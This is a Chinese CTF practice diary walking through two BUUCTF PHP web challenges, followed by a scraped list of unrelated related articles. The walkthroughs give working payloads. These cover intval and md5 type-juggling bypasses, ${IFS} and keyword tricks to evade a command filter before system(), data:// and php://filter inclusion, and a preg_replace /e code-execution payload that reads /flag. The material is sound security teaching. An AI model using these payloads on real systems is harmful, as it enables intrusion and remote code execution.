【BUU刷题日记】——第二周

一、[WUSTCTF2020]朴实无华 1

  • 目录爆破

    使用dirsearch扫描发现没有结果,因为如果dirsearch请求过快则会导致超出服务器最大请求,扫描不出本来可以访问的目录,所以需要调小线程数:

    python dirsearch.py -u http://d8149651-49cb-4573-a1f7-1fbc8b1ab946.node4.buuoj.cn:81/ -t 30

  • 访问

    抓包一下:

    直接访问,会出现一堆中文乱码,使用火狐修复一下变成下图:

    <img src="/img.jpg">
    <?php
    header('Content-type:text/html;charset=utf-8');
    error_reporting(0);
    highlight_file(__file__); //level 1
    if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
    echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
    }else{
    die("金钱解决不了穷人的本质问题");
    }
    }else{
    die("去非洲吧");
    }
    //level 2
    if (isset($_GET['md5'])){
    $md5=$_GET['md5'];
    if ($md5==md5($md5))
    echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
    else
    die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
    }else{
    die("去非洲吧");
    } //get flag
    if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
    $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
    echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
    system($get_flag);
    }else{
    die("快到非洲了");
    }
    }else{
    die("去非洲吧");
    }
    ?>

    观察源码可以发现,要想得到flag需要进行三次绕过。

  • 第一关

    需要满足:

    intval($num) < 2020 && intval($num + 1) > 2021

    可以使用科学计数法,使num=2e4,intval函数的处理num会认为num为字符串,从第一个数字开始转换,直到遇到非数字。但是num+1运算时会将num作为科学计数法。

    $num=2e4
    intval($num)=2
    intval($num+1)=20001
  • 第二关

    需要满足:

    $md5==md5($md5)

    只需要$md字符串开头为0e,并且md5($md5)后开头也为0e,这样php中弱等于就会将其作为科学计数法,0==0。

    $md5=0e215962017
  • 第三关

    两个条件:

    !strstr($get_flag," ")
    $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

    需要$get_flag中不包含空格,不包含cat。

    对于空格的规避可以使用:${IFS}、$IFS$1

    对于cat的规避可以使用:ca\t、tac、more

总结

  • 目录爆破在有些情况下需要调小线程才能爆破成功
  • php intval函数的漏洞
  • php 在md5函数情况下的等号漏洞
  • linux规避空格、关键词过滤

二、[BJDCTF2020]ZJCTF,不过如此

  • 代码:

    <?php
    
    error_reporting(0);
    $text = $_GET["text"];
    $file = $_GET["file"];
    if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
    die("Not now!");
    } include($file); //next.php }
    else{
    highlight_file(__FILE__);
    }
    ?>

    file_get_contents:把文件中的内容读入字符串。

  • 利用

    对于文件读取的协议可以使用data伪协议,它是一个数据流封装协议,从php5.2.0开始生效

    构造payload:

    ?text=data://text/plain,I have a dream
    或者
    ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=

    下面的变量file提示查看next.php,文件包含使用php伪协议,payload如下:

    ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/convert.base64-encode/resource=next.php

    得到的base64字符串解密后:

    <?php
    $id = $_GET['id'];
    $_SESSION['id'] = $id; function complex($re, $str) {
    return preg_replace(
    '/(' . $re . ')/ei',
    'strtolower("\\1")',
    $str
    );
    } foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
    } function getFlag(){
    @eval($_GET['cmd']);
    }
    • preg_replace函数:

      preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

      其中,$pattern 参数是一个用于匹配的正则表达式,$replacement 参数是替换的字符串,$subject 参数是需要进行替换的原字符串。$limit 参数表示最多替换的次数(默认为 -1,表示不限制替换次数),$count 参数是一个用于存储实际替换次数的变量(可选)。

      上面的代码就是通过变量$re中的模式匹配,将$str中匹配到的字符串转化为小写。

    • /e漏洞:

      在preg_replace的/e模式下,会将替换字符串当做php代码来执行,这样就可以调用getFlag()函数进行命令行操作。

      $str = '1 2 3 4 5';
      $result = preg_replace('/\d+/e', 'pow($0, 2)', $str);
      echo $result; // 输出 1 4 9 16 25

      这段代码就是将$str中的变量全部平方。$0代表匹配到的字符串,也就是数字本身。

      在本题中,替换字符串部分为'strtolower("\\1")',其中\1等价于$1,代表匹配到的第一个字符串。整个含义就是将匹配到的第一个字符串全变成小写。

    • foreach:

      表示把$GET数组中键值赋值给$re,单元值赋值给$str。

    • payload:

      因为模式串中为$re的值所以GET传入的变量名应该为?.*,因为.用于匹配除了\n的其他任意字符。但是使用GET传入变量时.会被过滤成_,因此换用其他表达式/S*。

      同时其值应该为${getFlag()}用于执行getFlag函数,cmd的值为system('cat /flag')。

      ?\S*=${getFlag()}&cmd=system('cat /flag');
      //分号不能丢

      其实不太明白为什么要加*号,网上对${}里面的函数调用也描述很少,先记下来。

总结

  • data伪协议输入文件流
  • preg_match在/e模式下的漏洞

【BUU刷题日记】--第二周的更多相关文章

  1. Buu刷题

    前言 希望自己能够更加的努力,希望通过多刷大赛题来提高自己的知识面.(ง •_•)ง easy_tornado 进入题目 看到render就感觉可能是模板注入的东西 hints.txt给出提示,可以看 ...

  2. Leetcode | 刷题日记(1)

    本文记录个人刷题记录 推荐两个刷题网站: 地址:https://leetcode.com/ 另外一个地址:http://www.lintcode.com/ 1.Write a SQL query to ...

  3. BUU刷题01

    [安洵杯 2019]easy_serialize_php 直接给了源代码 <?php $function = @$_GET['f']; function filter($img){ $filte ...

  4. python刷题第三周

    以下是本周有所收获的题目 第一题: 第4章-4 验证"哥德巴赫猜想" (20 分) 数学领域著名的"哥德巴赫猜想"的大致意思是:任何一个大于2的偶数总能表示为两 ...

  5. lightoj刷题日记

    提高自己的实力, 也为了证明, 开始板刷lightoj,每天题量>=1: 题目的类型会在这边说明,具体见分页博客: SUM=54; 1000 Greetings from LightOJ [简单 ...

  6. BUU刷题记录

    [GWCTF 2019]mypassword xss+csp 打开页面可以注册登录 登进去提示不是sql注入 然后提示源码 看一下 然后有段后端代码写道了注释里 <!-- if(is_array ...

  7. 刷题日记-JZ25合并有序链表

    合并有序链表 递归方式合并链表pHead1,pHead2 base case是 pHead1为空或者pHead2为空 递归方式是 如果pHead1->val < pHead2->va ...

  8. mysql刷题笔记

    近期,为提升自己的工程能力,在休息时常通过刷题来回顾一下基础性知识. 于是选择了牛客网上的mysql知识题库练手,过程中,主要遇到了几个比较有意思的题,记录下来,方便回顾. 题1:SQL29 计算用户 ...

  9. 牛客SQL刷题第一趴——非技术入门基础篇

    user_profile表: id device_id gender age university province 1 2138 male 21 北京大学 Beijing 2 3214 male   ...

  10. python刷题第二周

    1: 第3章-5 字符转换 (15 分) 本题要求提取一个字符串中的所有数字字符('0'--'9'),将其转换为一个整数输出. 输入格式: 输入在一行中给出一个不超过80个字符且以回车结束的字符串. ...

随机推荐

  1. 聊聊 RocketMQ 主从复制

    提到主从复制,我们可能立马会联想到 MySQL 的主从复制. MySQL 主从复制是 MySQL 高可用机制之一,数据可以从数据库服务器主节点复制到一个或多个从节点. 这篇文章,我们聊聊 Rocket ...

  2. Codeforces Round #885 (Div. 2) A-D

    比赛链接 A 代码 #include <bits/stdc++.h> using namespace std; using ll = long long; bool solve() { i ...

  3. [NOIP2011 提高组] 聪明的质监员【题解】

    题目 小 T 是一名质量监督员,最近负责检验一批矿产的质量.这批矿产共有 \(n\) 个矿石,从 \(1\) 到 \(n\) 逐一编号,每个矿石都有自己的重量 \(w_i\) 以及价值 \(v_i\) ...

  4. linux 问题: ssh登录报错,ssh_exchange_identification,多次几次可以登录

    分析 怀疑是句柄数不够,和ssh的最大登录限制 确认 2.1 确认句柄数 过程: ~# systemctl status sshd | grep -i pid Main PID: 3767395 (s ...

  5. 沃罗诺伊图 (Voronoi diagram)

    沃罗诺伊图 (Voronoi diagram) Introduction: what is voronoi diagram? 沃罗诺伊图 (Voronoi diagram),取名自俄罗斯数学家乔治·沃 ...

  6. 数据库是要拿来用的,不是用来PK先进性的

    周五参加了WAIC后又和一家上海本地的数据库厂商交流了一下午.等我要买高铁票回南京的时候已经买不到票了.好不容易刷到一张到苏州北的高铁票,我就上了车.上车后突然想起还不如就回苏州老家住一晚算了.到家后 ...

  7. pyinstaller 安装报错,环境是python3.7

    在pycharm中安装,和直接输入pip install pyinstaller 均报错, 最后,输入pip install -i https://pypi.douban.com/simple/ py ...

  8. 【入门教程】3202年了,还有人没用stable diffusion画过自己的AI小姐姐吗。

    个人绘画作品: 说明 本文主要是讲一下如何安装.使用整合包,以及介绍画真人图片的大模型(介绍的整合包只提供二次元模型,个人不太感兴趣) 通过最简单的介绍帮助大家快速入门,开始画图,不会深入的进行讲解, ...

  9. javescript入门

    js组成和基本结构 javascript缘由:可以实现html,css初级验证实现不了的复杂的验证 减轻服务器压力(在发送请求到服务器之前用javescript验证客户端) w3c标准:结构化(htm ...

  10. buu-(ACTF新生赛2020)usualCrypt

    base64的常用套路了 文件直接给base,我大胆盲猜base64: 先进sub-401080函数康康: 先看byte-40e0a0 这个很明显了,然后看上面的函数 进这连个地址发现是base64加 ...